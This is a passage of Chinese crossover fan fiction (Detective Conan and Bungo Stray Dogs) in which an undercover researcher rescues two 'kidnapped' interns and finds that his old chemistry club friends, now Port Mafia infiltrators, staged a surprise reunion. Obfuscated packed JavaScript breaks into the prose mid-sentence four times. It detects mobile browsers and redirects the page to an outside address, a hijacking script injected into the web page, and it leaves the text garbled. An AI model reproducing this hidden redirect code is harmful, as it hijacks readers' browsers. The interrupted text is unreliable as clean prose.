“要是他现在还没选边，那我们就把他拉进黑手党，至少比他一个人在这个烂人堆里瞎耗强。” “再退一步讲——要是他是真的来这里搞事的，我们几个反正也没正经活干，顺便搭一手，把这帮乌鸦干翻了，咱任务也完成了，不亏。” 他一边说，语速不自觉地快起来，像在给别人解释，也像在说服自己：“我一个星期前在那个新的食堂见过他。我觉得他没变，还跟以前一样 。只是我有种直觉，他在这儿的处境不太好。” “——你不觉得奇怪吗？科研组到现在都没公开介绍他，你也在系统里看到了他的权限只有两层楼，比清洁工还低。但是市川说，那个少只眼睛的傻逼已经在准备给他做代号考核了。” 。 长岛京悟脚步匆匆地来到一处离公司并不太远的，靠着港口的废弃工厂。 他刚刚收到了一条匿名短信，对方指名道姓地让他“一个人来这个地址，带上最新的工作汇报，否则你的小助手们今天就会死翘翘”。 没有署名，查不到定位，却附了一张监控截图——照片中，松田阵平和萩原研二正被黑衣人带进一辆看不见任何标识的车。萩原的脸隐约带着些挣扎的表情，松田则被按着肩膀，嘴里塞着什么东西。 图片模糊、噪点多，却异常真实。 长岛京悟盯着那张图整整看了十秒，随后什么都没说，转身重新打印了一份工作汇报，甩进背包，然后径直离开实验室，独自一人往短信里的地址走去。 废弃工厂的大门锈迹斑斑，推开时发出一声刺耳的“吱呀”。空气中混着咸湿的海风和机油残渍的味道。长岛京悟站在门口，迅速扫视一圈。 很快，他找到了人。 工厂中央摆着一张破旧的沙发，两个少年就坐在上面，嘴里被塞了棉花，但手脚都没有被绑。他们面前摆着一台旧电视，屏幕上正播放着一部子供向特摄片。两个少年盯着画面，一脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266658|158780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无奈地忍受中二台词，表情像是被迫营业的小学生。 在他们身后，站着两名一看就很能打的陌生人。 一个是白发西装、单眼罩的老爷子，气质优雅得像刚从茶道教室里走出来。另一个是栗色头发、鼻梁贴着创可贴的青年，懒洋洋地靠着铁柱，看起来像是一个不良。 这两人显然早就注意到他进门，却并不紧张，甚至没有摆出防御姿态，只是抬了抬眼皮，继续看着那部剧情极度尴尬的特摄片。 长岛京悟从楼梯间的铁梯缓缓走下来时，刚好听到不良低声说：“哎，老爷子，你确定他们会喜欢看这个吗？我怎么看他们不太乐意的样子？” 老爷子儒雅地说：“这个年头的小男生不都爱看X面骑士吗？那他们要是不喜欢，你把他们嘴里的东西拿出来，问问不就好了。” 不良撇了撇嘴：“这俩人太吵了，塞住嘴，我耳根子清净点。反正让他们安静一会儿又不会死。” 沙发上的松田阵平一边看着长岛京悟慢慢靠近，一边拼命发出“呜呜”的声音，似乎想提醒他什么。 老爷子又说道：“孩子们，再坚持一下，等长岛君再靠近一点我就放你们走。当然啦，也可以留下继续看电视。” 松田阵平于是更加用力地呜呜，像是在用生命呐喊。 老爷子无奈地叹了口气：“哎，立原，你还是把他们嘴里的棉花拿出来吧。不然长岛君以为我们在虐待这两个小孩。天地良心，我们可是还给他们买了午饭。” 不良应了一声，走上前去，将两个少年的嘴解放了。 棉花刚一被拿出来，松田阵平立刻爆发：“京悟哥你快跑，他们是黑手党！！” 长岛京悟停下脚步，神色依旧镇定，动作看似从容，脚步却在落地前轻轻一顿——那是一种被训练过的、在高压下强行维持冷静的姿态。 毕竟，对方不仅发来一条措辞恶劣的匿名短信，还附上了监控截图，看上去像极了组织内部清理门户前的流程通知。他从收到消息起就已经在做最坏的打算，脑子里推演过至少三种情况、两条撤退路线、一套强行拖延时间的说辞。 他的口袋里此刻还放着一把他现在还不太会用的枪——甚至连保安全打开的角度都还没练熟，但他还是带上了。 但他没想到会听到这么一句。 “……黑手党？”他复述了一遍，语气像是在确认自己有没有听错，“你们是……黑手党？” 他眨了眨眼，视线依次掠过那位白发老爷子的单眼罩，又落在栗发青年的衣角，定格在那枚若隐若现的港口黑手党徽章上。 那种紧绷的神情像是被人悄悄按了暂停键，他明显地放松下来，甚至轻轻点了下头，像是把一口气压回了肺里。 “——原来是我们横滨的港口黑手党啊。” 他说这句话时的语气，不是震惊，也不是警觉，而是那种“哦，还好是黑手党”的放松，就像是迷路半天终于在异乡街头看到老家连锁拉面馆的那种安心感。 他停了一下，然后诚恳又十分感激地说： “真不愧是人民的好邻居港口黑手党，谢谢你们见义勇为救了这两个孩子！请问你们在哪里把坏人打跑的？” 71.六年之期已到，恭迎社长归位 港口黑手党是横滨一大特产。 它的存在就像海风、海鸟和地铁晚点一样——因为无法避免，所以理所当然地被接受了。 外地人一听“黑手党”三个字，可能会脑补出满街枪战、深夜埋尸、全民噤声的恐怖都市画面。但实际上，在横滨长大的人，很难真把港/黑当成一个令人害怕的组织。 长岛京悟记得自己上小学那会儿，港/黑还算个名副其实的黑手党。烧杀抢掠、横行霸道，坏事干尽，整天乱砍乱杀，搞得横滨乌烟瘴气、人心惶惶。 但从他上国中那年起，港/黑的风评开始悄悄发生了变化。 没有公告，也没有媒体报道，只是街头巷尾对他们的态度忽然不那么刺耳了。听说老大换人了，整个组织也不知怎的安分了下来。没人搞得清他们是不是换了发展方向，反正开始讲规矩了。 当然，不是那种痛改前非、重新做人式的讲规矩，而是“你别来烦我，我就懒得动你”的克制，甚至还会时不时做点好人好事： 比如某次深夜失火，邻居们以为大祸临头，结果是港/黑的人冲进去救出两个孩子。又有一次几个地下组织在街头火并，警察迟迟不见踪影，最后是港/黑的干部带人收了场。还有一次在港区码头，外来势力闹得天翻地覆，政府部门互相甩锅，只有港/黑最后出手把人打退了，连片区的治安死角都一并清理了。 久而久之，这类事大家也就见怪不怪了。警方通常睁一只眼闭一只眼，只要结局好，就没人会太较真他们有没有顺手破坏公共秩序。港/黑也就这样慢慢成了横滨夜色里一种奇特的和平力量：虽然不合法，但比谁都有效率；虽然不官方，却比官方更靠谱。 虽然长岛京悟从未把黑手党当成真正意义上的“好人”，但作为一个土生土长的横滨人，他打心底里并不怕他们。更何况他亲眼见过黑手党见义勇为，也就顺理成章地以为，这一次又是一个幸运的、被黑手党拯救的一天。 。 老爷子摘下帽子，向他颔首致意：“初次见面，长岛君。老夫名叫广津柳浪，身边这位是我的搭档，立原道造——我们隶属于港/黑特别行动队。没想到您是横滨本地人？” “是啊，”长岛京悟点头，“我家就在你们港/黑奶茶旗舰店附近。不过我三年没回去了，你们店现在还营业吗？” “承您吉言，一直挺好。”广津笑着回答，“最近还新推了抹茶系列，只是卖得不大行，年轻人不太爱喝绿的。” “大家还是点黑糖多，我们可能要下架了。”立原补充。 “这样啊，那我得找个时间回去一趟，我还挺喜欢抹茶的。”长岛京悟说，“总之，还是要谢谢你们这次出手帮忙救了这两个孩子。果然，我就知道你们虽然干的是不合法的活儿，但本质上是个好黑手党。” 广津与立原对视了一眼，神情一时间微妙至极。 “哎……您这么说我们实在是……”广津轻咳一声，眼神微飘，“有点受宠若惊。” “是的，我们其实……”立原也清了清嗓子，“一直尽量做些为民服务的事。” “当然，我们并非执法机关，”广津语气诚恳，“只是出于治安协助、社区联动……以及企业形象维护等综合考量，偶尔参与一些非营利性质、偏公益方向的临时性处置行为。” 长岛京悟一脸理解：“我懂，我都懂，身处黑暗，心向光明，大家都不容易。相信我，我最近真的很能共情这种状态。” 对面的黑手党二人沉默了一会儿。 “所以说，”广津试探着开口，“关于这两个孩子嘛，说实话……确实是我们临时接管了——出于特殊情况，当然，绝无伤害的意思。” “我们还请他们吃饭、喝饮料，给他们找了电视看。”立原一脸认真地补充。 “我能理解。”长岛京悟用更为理解的语气说，“你们打跑坏人之后，总不能让两个孩子在风里干等着吧？居然还给他们安排了电视，真有心。刚好我朋友车快到了，我带孩子出去等一下，你们也早点收工回家吧。” 空气微妙地顿住了。 “这个嘛……”广津脸上露出有些为难的笑容，“我们虽然负责一线，但这边其实是接了上面通知的……” “我现在联系我们同事，您稍等哈，他们马上就能过来。”立原已经低头开始掏手机。 长岛京悟开玩笑道：“瞧您这么说的，搞得像是你们黑手党绑架了这两个孩子一样。” 他只是随口一说，本意是缓和一下气氛。没想到话音一落，广津柳浪和立原道造的笑容同时僵住了。 “咳、这个、哈哈……”广津柳浪强行挤出一个笑，“怎么会呢，您说笑了，我们是、是那种有执照的那种……呃，带点监护性质的临时看护……不算法律意义上的限制人身自由。” “而且他们自己也没跑。”立原道造小声补充。 长岛京悟：“……？” “我们也不想这么做的。” 广津柳浪一边迅速否认一边看向门外，“但这件事情比较特殊——” ——咚咚！ 敲门声响了起来，干脆利落，仿佛精准算好了时间。 “您看，说到就到。”立原道造松了口气，把手机放进口袋，迅速走过去拉开门。 。 门刚一开，仿佛有人扯动了什么机关，伴随着一连串“噗噗噗”的喷射声，一整面墙壁瞬间炸开了气球雨与七彩喷带，像某种节日灾难片现场一样，全方位无死角地扑向屋内。 金属彩带从门框两侧射出，精准缠上了长岛京悟的脖子和手腕；纸花从天花板落下，像下雪一样堆在他头顶；连地板下都不知何时安装了烟雾干冰，脚下瞬间弥漫起一层仙气飘飘的雾。 紧接着，一道光柱从天花板上的老旧轨道灯打了下来，稳稳地照在他脸上。同时，熟悉得令人汗毛倒竖的音乐也响了起来：“爱你孤身走暗巷，爱你不跪的模样……” 长岛京悟：“…………” 他完全没做好心理准备，在绚烂光雾和彩带飞舞的包围中原地定格。红蓝相间的亮片缠在他头发上，金色拉花正好落在肩头，像军功章似的晃着。 最绝的是，不知哪个角落还蹿出一台便携泡泡机，一边转一边吐出密密麻麻的泡泡，映着灯光闪闪发亮。 长岛京悟像一个卡壳的游戏NPC，僵在五彩缤纷的社死核心中，甚至来不及眨眼。 门外传来一个人无比得意的声音：“搞成了！我就说这个机关能行！” “我调了三天的彩带轨迹和出场BGM！”另一个声音兴奋地喊，“完美命中目标！是不是感动到哭？” “我现在是真的想哭。”长岛京悟喃喃。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15287419|158780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >就在这时，一张巨大的横幅从门梁上缓缓落下，悬挂在半空，红底黄字，写着： “热烈欢迎化学社社长·长岛京悟重回核心社团生活圈！” 底下还配了副标题，潦草地写着： “六年苦读，博士毕业，回归兄弟怀抱！” 音乐一轮播放完毕，屋内短暂归于寂静。 长岛京悟站在烟雾和彩带中央，像刚从节日灾难片现场被挖出来的史前生物，满身挂彩、表情空洞，仿佛整个人都经历了一场视觉和精神的双重爆炸。 他缓缓抬起头，拨开遮住视线的反光拉花，透过一团模糊泡泡，看见门口站着四个人——他们的脸都熟悉得不行，又久违得令人发懵。 最左边那个染着粉发，穿着印着奇怪二次元表情的卫衣，正举着手机咔咔猛拍。他脖子上挂着一张白鸠制药的工牌，卡套里压着一张印着“IT专用”的便签纸。 长岛京悟确认，这是佐佐木代码郎。他擅长用极其严肃认真的态度，编写出那些本意良善、但结果常常能把整个系统炸成筛子的程序。高中时就被誉为“能把bug当宠物养的编程圣体”，社团群聊因为他莫名其妙的增删权限出过三次灵异事件，连教务主任听到他名字都要下意识Ctrl+S。 旁边那个穿西装打领带，一板一眼，站姿标准得像PPT模板自动生成。此刻他正在使用一把卷尺比对横幅挂得是否对称。 他的名字是天仓审批丸。高中时期就痴迷于流程设计与表格美学，别人还在为是否要办活动吵成一团时，他已经拟好了三版申请模板并标注了不同时间线下的优劣对比。他曾因为预算报表多打了一位数而陷入为期三天的自我反省，认为那是社团财政信誉体系的崩塌。 第三人立在灯光照不到的角落里，深色风衣扣得严严实实，神情冷静。他一句话没说，只是低头把刚刚触发机关的遥控器收进风衣内袋，顺手掸了掸袖口上的几粒彩带碎屑，动作十分利落。 那是市川社畜介。当年就是化学社里最沉默但最可靠的成员。别人开会他不说话，通知一发他第一个签到，所有作业他都第一个提交，所有扫除他都最后一个离开。 而最右边那个，长岛京悟倒是早就在食堂见过，那是本来就非常学术黑手党的松本彻。他一边举着泡泡枪四处扫射，一边配合佐佐木的镜头摆Pose，像是在拍时尚杂志。他的工装衬衫上挂着白鸠制药的门禁卡，腰间却赫然别着一枚港口黑手党的金属徽章，在泡泡和彩带的光影中反着闪闪冷光，像某种不容忽视的宣告。 这四个人，正是他高中化学社的四位社员。也是他以为早就“各奔东西”、在社会某个角落认真打拼的老朋友。 而现在，他们就站在横幅下，泡泡中，彩带堆里，一脸自豪地看着他，神情就像刚完成了一场特别成功的惊喜策划。 他们脚边还规规矩矩立着一块白板，白板上用马克笔写着： “化学社集结进度：5/5 √” 长岛京悟盯着那块白板，又看着门口那几张熟悉的脸，一时间竟不知道该先问“怎么是你们”“你们怎么在这里”“这都是你们干的好事吗”，还是“这尼玛又是哪个孙子的馊主意”。 他深吸一口气，又深吸一口气，像是在努力把残存的理智压回脑壳里，憋了半天，终于默默地吐出两个字：“……卧槽。” 72.比起我，他们更像体制内 长岛京悟的大脑在泡泡和彩带构建的临时灾难中心强行开机。他站在五彩拉花堆里，脑内像旧版PPT卡在自动换页，一页一页地转，转得生涩、转得迟疑、转得每一步都像是用力踩进认知崩塌的泥沼。 在数不清的问号和系统报错中，他艰难地提取出几个核心事实： 其一，化学社五个人失去联系完全是他单方面认为的。 实际上，除了他之外的四个人其乐融融，不仅始终保持联系，甚至关系比高中还铁——从他们出场时那一板一眼的站位、默契到不需要排练的机关分工、以及那块仿佛在向他已经快要崩溃的精神补刀的“化学社集结进度：5/5 √”的白板来看，他们甚至可能还定期团建，或许还常常讨论为什么长岛京悟读博读了六年还没毕业这样的敏感话题。 其二，这四个人和他刚刚见到的广津柳浪、立原道造是一伙的。 不是那种“同公司同项目”那种一伙，是“黑手党编制内、同一个犯罪组织、上下级汇报链清晰、背后可能还有组织工会”的那种一伙。换句话说，他们都加入了港口黑手党。 这是货真价实的横滨本地自产自销，没有中间商赚差价。他们用行动诠释了什么叫生在横滨、死在横滨、中间顺便混个黑/道，完美实现了从化学社到黑/帮组织的跨越式发展。 其三，两个实习生确实是他们绑的。 虽然绑得很讲艺术追求，过程充满人文关怀、科技加持和娱乐属性，甚至还有热食供应、泡泡特效和高精度光影秀，但说到底，这就是绑架，是妥妥的违法行为。 而他长岛京悟，在自己都还没搞清楚到底算不算体制内的前提下，就先经历了一轮“直属未成年下属被□□高中同学绑走”的剧情。他开始合理怀疑，这帮人的剧本压根就没把他的精神状态放在变量里考虑。 其四，也是最重要的—— 太丢人了！太丢人了！太丢人了！太丢人了！太丢人了！太丢人了！太丢人了！太丢人了！啊啊啊啊啊啊！！！ 那张横幅落下来的时候，长岛京悟清清楚楚听到了松田阵平那一声极具穿透力的、几乎是把自己灵魂笑出体外的喷笑！就连平时非常体贴人的萩原研二都把脸捂在手心，肩膀像装了马达一样不断颤抖，一副随时会笑脱臼的样子。而站在他旁边的立原和广津已经快笑背过气去了。 可恶！ 要是让他知道这是谁出的馊主意，他一定要跟那人拼了！而且这里可是东京，是个对黑/帮容忍度极低的城市——他真的可以报警，把这帮人全打包带走，来个“港/黑东京地检局一日游”！ ……说到报警。 长岛京悟的思绪忽然像被人从怒火和羞耻中扯出来，拽回了现实。他皱了皱眉头，总觉得有什么细节不太对劲。 他抬起头，又重新打量了一遍眼前那四个熟得不能再熟的高中老朋友。 佐佐木代码郎的白鸠制药工牌还挂在脖子上，卡套上贴着“IT专用”的标签；天仓审批丸手里还拿着一把公司行政部常配发的测量卷尺，腕上戴的是员工积分换的智能手环；市川社畜介的风衣剪裁利落，款式与今天早上护送他去朗姆办公室的那位安保猛男一模一样；而松本彻腰间别着的那张科研部门禁卡，长岛京悟自己就有一张一模一样的。 ——他们四个，全都在白鸠制药工作。 白鸠制药是黑衣组织的皮包公司，不是港口黑手党的。而港口黑手党，根本不屑这种“披马甲干坏事”的低阶伪装。横滨是他们的地盘，他们敢黑得明目张胆，从不费心跟东京这群社畜玩什么正规流程与合法备案。 眼下，这四个铁板钉钉的港口黑手党成员，却一个不落地成功混入了白鸠制药，精准潜伏于科研、行政、IT和高层安保四大关键岗位，岗位分布之合理、渗透程度之深、战术搭配之默契，简直像是提前做过流程图和人员匹配模拟。 哪怕长岛京悟对管理一窍不通，也能一眼看出他们的目的——这是奔着搞死这家公司来的。 现实中的商战真是恐怖如斯。就在日本政府还在苦苦寻找渗透黑衣组织的切入点，甚至不惜吸纳他这样一个半路出家的科研狗、强行塞进卧底名单里，只为了从科研方向撬出一点情报的时候，港口黑手党已经直接送来了一整套企业破坏全方位解决方案：程序瘫痪、流程污染、安保穿孔、科研误导四件套，一应俱全，内外兼修…… 说到底，对付黑/道这件事，还是得靠黑/道出身的专业人士。外人再怎么旁敲侧击、谨慎试探，也比不上人家一句“我熟我来”。 。 长岛京悟不知道从哪儿开始说起。他吸了口气，有点干巴巴地问：“……你们怎么都在这里工作啊？” 松本彻理所当然地说：“啊，对，社长你估计也看出来了，我们毕业之后都加入了港口黑手党。其实也不是刻意谋划，就是……机缘巧合吧？反正boss看我们都挺有潜力的，就让我们过来卧底了。” 他一边说一边掰手指数：“我当时是因为不小心把研究所的通风橱炸了，结果被boss注意到了，说我动手能力强、执行力优秀。佐佐木的话是……欸你那次是删了什么来着？” 佐佐木代码郎：“数据库主干目录，还有那个唯一的备份。” 松本彻：“对！boss说他破坏力惊人，是天生的系统炸弹。然后天仓——你那次是干了什么来着？” 天仓审批丸骄傲地说：“我把年假申请流程从三步变成了三十七步，领导走了一半流程后辞职了。” 松本彻：“你看看，boss觉得他是行政界的天赋型破坏者。市川，你那时候是怎么被选上的？” 市川社畜介沉默了一下，淡淡地说：“我只是接了个电话。” “对对，就是这个！”松本彻眼睛一亮，“就是他那次接boss电话，结果boss对着他发火五分钟，他一个字没回，硬是把boss气得挂电话，之后居然还表扬他——说他有成为高层秘书的素质。” “然后我们就被派过来了，在这里兢兢业业，暂时潜伏，等候时机。直到有一天，市川在那个只有一只眼睛的傻逼桌子上翻资料传情报的时候，突然看到了你的名字。”他语气一顿，像是在讲一段命运的奇迹一样笑起来，“我们都太兴奋了！毕业这么多年，终于又见到你了，社长！” 长岛京悟：“……” 他沉默了一秒，忍不住问出心底的困惑：“……那个，你们就这么把自己是卧底的事告诉我，不怕我转头告密吗？” 佐佐木代码郎毫不犹豫：“我们相信你不会的，社长。而且刚才在等的时候，那个头发稍微长一点的孩子——”他朝萩原研二点点头，“——他说他觉得你，有加入我们的可能性。” 长岛京悟闻言扭头看了一眼。 萩原研二冲他露出一个好学生式的微笑。 “……我不会加入黑手党的，” 他下意识说道，语气坚定， “我不会混□□的。” “对，他刚才也这么说了，”天仓审批丸点头附和，“他还说如果你回绝得太快，反而说明你早就有了立场——大概率是官方那边派的。” 长岛京悟一口气差点没上来，愣了整整两秒才意识到，这指控竟然是冲着他来的。 “……哈？你们在说什么？” 他试图维持表面镇定，但声音已经开始控制不住地往上飘，“我怎么就成官方卧底了？” “你看吧，”松田阵平叼着一根不知道从哪里来的棒棒糖，懒洋洋地开口，“就是这种反应。我当时就说，他要真是卧底，一定不会主动承认，也不会太激烈地否认。” “我——”长岛京悟张了张嘴，试图辩解，却发现自己根本无从说起，只能默默地把目光移向远方天花板，像在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15311506|158780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 寻求某种心理庇护。 市川社畜介语气平静地说：“没关系的，社长。我们一确认目标一致，真的很开心。港口黑手党和官方之间其实也没什么实质性的利益冲突，所以你要是有问题，我们都会尽力帮你。” 他顿了顿，又补充道：“我们猜你可能是第一次当卧底，不用担心，我们这边有现成资源可以对接。黑手党的卧底保障体系非常成熟——设有入职辅导、心理疏导、身份伪装、应急撤离等完整配套。开假病历、造履历、改背景，这些都有专业团队负责。每月还有卧底互助小组定期聚会，可以匿名倾诉压力，交流经验。” 长岛京悟实在绷不住了：“……不是，黑手党这么人性化的吗？” “当然啊，我们是有正式编制的。”松本彻一脸自豪，“过了实习期就能享受员工福利，外派做卧底的话还有专项补助。” “而且还有年终奖。”天仓审批丸补充道，“不过得看你这一年拆了几个单位、搞崩了几个组织。绩效标准写得非常细。” “……” 长岛京悟深吸一口气，忽然觉得自己可能真的比他们惨——至少人家是编制内的黑/道卧底，待遇齐全、体系完整，搞破坏都有KPI。他呢？连个正式身份都没有，情报交流全靠在马蒂尼掩护下偷偷摸摸跑去电话亭，给黑田兵卫打那种“接通之后三秒内必须挂断”的恐怖热线，活得跟特摄剧里即将领便当的苦情角色似的。 虽然黑田兵卫并不算一个push的联络人，甚至可以说是佛系到令人心安，但在这种庞大到密不透风的企业里，连续几个星期只能在限定楼层内活动、每天见到的永远是同一批脸色逐渐憔悴的职场牛马，再加上要一个人孤军奋战、应对朗姆那种堪称“决战老登之巅”的究极上司…… 他也不是没抗压能力，甚至可以说已经被现实反复锤炼到堪比合金级别。但人毕竟不是等离子体，在真空环境下也不能无限生存。他现在甚至不敢去细想，自己要靠什么才能撑完接下来的这场没有尽头的卧底生活。 。 而就在这时，被四张久违的、关切的面孔围绕着，长岛京悟难得地感到了一丝心安。 在这栋信息封锁、气氛诡异的科研监狱里，突然有几张不用伪装、不用演戏的熟悉面孔，像是一缕意外流进来的氧气，让他得以短暂从高压密闭的现实中脱离出来，喘了一口久违的、接近人类正常生活的空气。 而且他有种预感，在高中的时候他们五个人就能各司其职地把祖上富过的化学社干到被理事长亲自关停，在白鸠制药或许他们也能联手干出些喜闻乐见的大名堂来…… 长岛京悟点点头，突然间就原谅了他们让自己在实习生面前社死了的事，甚至还莫名地有些感动：“能见到你们，真的太好了。” 佐佐木代码郎立刻上前一步，一把握住他的手，郑重其事地说：“社长放心飞，化学社永相随——” 他的话还没说完，门突然从外面“砰”地一声被猛地推开！ 马蒂尼举着枪冲了进来，脸上还残留着没擦干的冰美式溅点，整个人像是一枚即将引爆的子弹。她几乎没过脑子，双手举枪就对准了长岛京悟身边的立原道造，砰砰砰—— 子弹在即将命中时微微偏了一点，精准地打在立原道造脚边的地板上，炸出三点焦痕。 马蒂尼微微一愣，眯起眼警觉地扫视现场。她的目光越过一脸懵逼的立原，确认了两个实习生不仅毫发无伤，甚至精神状态良好后，终于缓缓落在长岛京悟头顶那块绚丽夺目、字体圆润、配色活泼的横幅上： “热烈欢迎化学社社长·长岛京悟重回核心社团生活圈！——六年苦读，博士毕业，回归兄弟怀抱！” 她盯着此刻已经重新陷入羞愤与社死状态的长岛京悟，沉默了两秒。 然后毫无预警地，爆发出一阵惊天动地的大笑。 73.人生最错的一次认亲发生在米花町 因为马蒂尼是长岛京悟的直接监视人，他们一同从废弃工厂回去在组织内部反而不会引人注意。于是，长岛京悟和化学社四人交换了联系方式后，便带着两个实习生和马蒂尼一起离开了。 他们一路沉默地走上马蒂尼的车。马蒂尼启动引擎，银白色的马自达跑车呼啸着驶入夜色。 松田阵平坐在后座，有些羡慕地在车里四处摸摸看看，像个刚进玩具店的小孩。长岛京悟实在受不了这诡异的沉默，像是在转移话题，又像是在逃避内心的崩溃，随口问：“你很喜欢这辆车？” 萩原研二抢答：“这是马自达rx7，是我们最喜欢的车的型号。” 马蒂尼回头看了他们一眼，慈爱地说：“那等你们到时候成年了，姐姐送你们一人一辆。” 松田阵平有点不好意思地说：“这也太贵重了。你的心意我们领了，不过我们会之后努力自己买的，大姐头。” 马蒂尼若无其事地问：“那你们有想好之后的职业选择吗？” 萩原研二说：“我还没有，不过小阵平好像是有……” 松田阵平：“闭嘴啦！” 马蒂尼笑了笑：“就等你们第一次升职的时候吧。人总得在死前真正拥有一次自己最喜欢的东西，才算没白活一场。”她说着，偏头看向副驾驶座， “你说是不是啊，社～长～？” 长岛京悟：“你听我说，我可以解释。” 马蒂尼：“不用解释了，六年毕业哥。” 长岛京悟：“……求你，不要玩梗了。” 马蒂尼：“好吧。那我家马上要举行一个欢迎某个人回归社团核心生活圈的派对，你猜猜谁没被邀请？” 长岛京悟忍无可忍地举手：“让我下车！” 松田阵平：“下去回归兄弟怀抱吗？” 长岛京悟用手抱住头，一副我今天就要死给你们看的崩溃模样。 马蒂尼笑够了，大发慈悲地说：“行了，总之今天真是虚惊一场。早知道是这种事情，我也不至于飙车穿过大半个东京。我还以为是朗姆那个老东西……” 长岛京悟猛地用胳膊肘戳了她一下。 马蒂尼愣了一秒，视线飞快地扫向后视镜里的两个少年，立刻补救似地改口：“朗姆老东西，哈哈……我是说，我刚刚买了一瓶八二年的老朗姆酒，长岛你有空可以来我家喝。” 后座的松田阵平正准备说点什么，刚一张嘴，就被身边的萩原研二轻轻戳了一下侧腰。他抬眼，看见对方朝自己轻轻地摇了摇头。 于是车里一时间安静下来，只剩下风从窗缝拂过的声音。 长岛京悟生怕两个少年多想，连忙开口打岔：“话说，现在都七点多了。你们饿不饿？要不我们去吃晚饭？” “好啊，我们超饿的！”萩原研二马上接话，语气轻快得像是在努力撑起气氛。他侧过头冲松田阵平眨了下眼，“我想吃拉面。” 马蒂尼继续慈爱地说：“吃拉面好呀，你想吃哪家，姐姐买……请你吃。” 松田阵平看了一眼导航地图：“我们现在开到了米花町附近，要不就近找一家拉面吧。” 。 车停在米花町的一家拉面馆门口。这是一家看起来有些年头的老店，木制招牌上“米花拉面”四个字已经有些褪色，门口挂着的红色暖帘在晚风中轻轻晃动，发出哗啦哗啦的声响。 长岛京悟一行四人推门而入。店内灯光昏黄，空气中混着汤底的咸香和烧焦面皮的微微焦糊味。坐在吧台上的几位客人低头喝汤，没人抬头看他们，气氛安静得出奇。 位置不多，店面也不大，他们挑中了靠窗的最后一张四人桌。木质的桌椅摸上去还有些潮湿，桌脚下面垫着折叠过的菜单防止摇晃，墙上的挂钟慢了五分钟。 萩原研二拉开椅子坐下，一边打量四周一边小声感叹：“这家店味道闻起来倒是挺正宗的，就是感觉怪怪的。” 长岛京悟赞同道：“有点像那种刑侦片里凶案发生前的拉面馆。” 他们翻了翻菜单，一人点了一碗面，马蒂尼担心两个小孩吃不饱，干脆把前菜也都一样要了一份。等餐的时候，他们有一搭没一搭地闲聊着，气氛慢慢从白天的社死余韵中过渡到一种近似“可以放松一下”的疲惫安静。 这时，店门被推开了。 风铃叮当作响，一对年轻夫妻带着一个看起来还在上小学的小男孩走了进来。可能是因为卡座都已满了，他们就在最靠近长岛京悟一行人的吧台旁落座。 男孩拉着妈妈的手，一边晃腿一边撒娇：“我要吃叉烧拉面，要那种叉烧很多很多的。” 小孩的声音软软糯糯。长岛京悟好奇地瞥了一眼，结果这一眼，就让他直接僵住了。 那个小男孩刚刚跳上高脚凳，一边翻菜单一边嘟囔“叉烧怎么只有三片”，侧脸偏过来的那一瞬—— 黑发，蓝眼，眉眼轮廓分明，嘴角挂着一点天然的倔强弧度。 他和长岛京悟的弟弟，长岛茂雄，长得一模一样！ 当然，长岛京悟上一次真正见到茂雄，已经是三年前了。那时茂雄才刚满三岁，说话都还带着奶音。后来因为老登死活不给他批假，他彻底错过了弟弟的成长阶段，几乎全靠父母定期发来的照片来维系印象。 但那毕竟是他亲弟弟。 长岛京悟自认不是弟控，但看着一个可爱的小孩长大，本身就是一件很治愈的事。在他上辈子当博后那段痛苦如炼狱的日子里，茂雄几乎成了他人生里唯一的正向输入。他甚至有点把弟弟当赛博宠物养：实验做不出来的时候点开相册看一眼，能勉强回血；被导师骂完后偷偷摸摸听弟弟发来的语音，心率都能稳下来。 而眼前这个小孩的眉眼轮廓、脸型比例，就连说话时嘴角下压的弧度都和长岛京悟记忆里的茂雄如出一辙。更离谱的是，他甚至还带着几分长岛京悟自己六七岁时的影子，这就更让长岛京悟认定了这就是他弟弟——毕竟他从小到大只听过别人夸他还挺帅的，从来没有人跟他说过他长了一张大众脸！ 长岛京悟几乎是本能地站了起来，椅子在地板上划出一声刺耳的响动，吸引了整家店的注意力。 众人齐刷刷地看向他。马蒂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15346256|158780||http|test|mini|href|location''.split(''|''),0,{})); () { 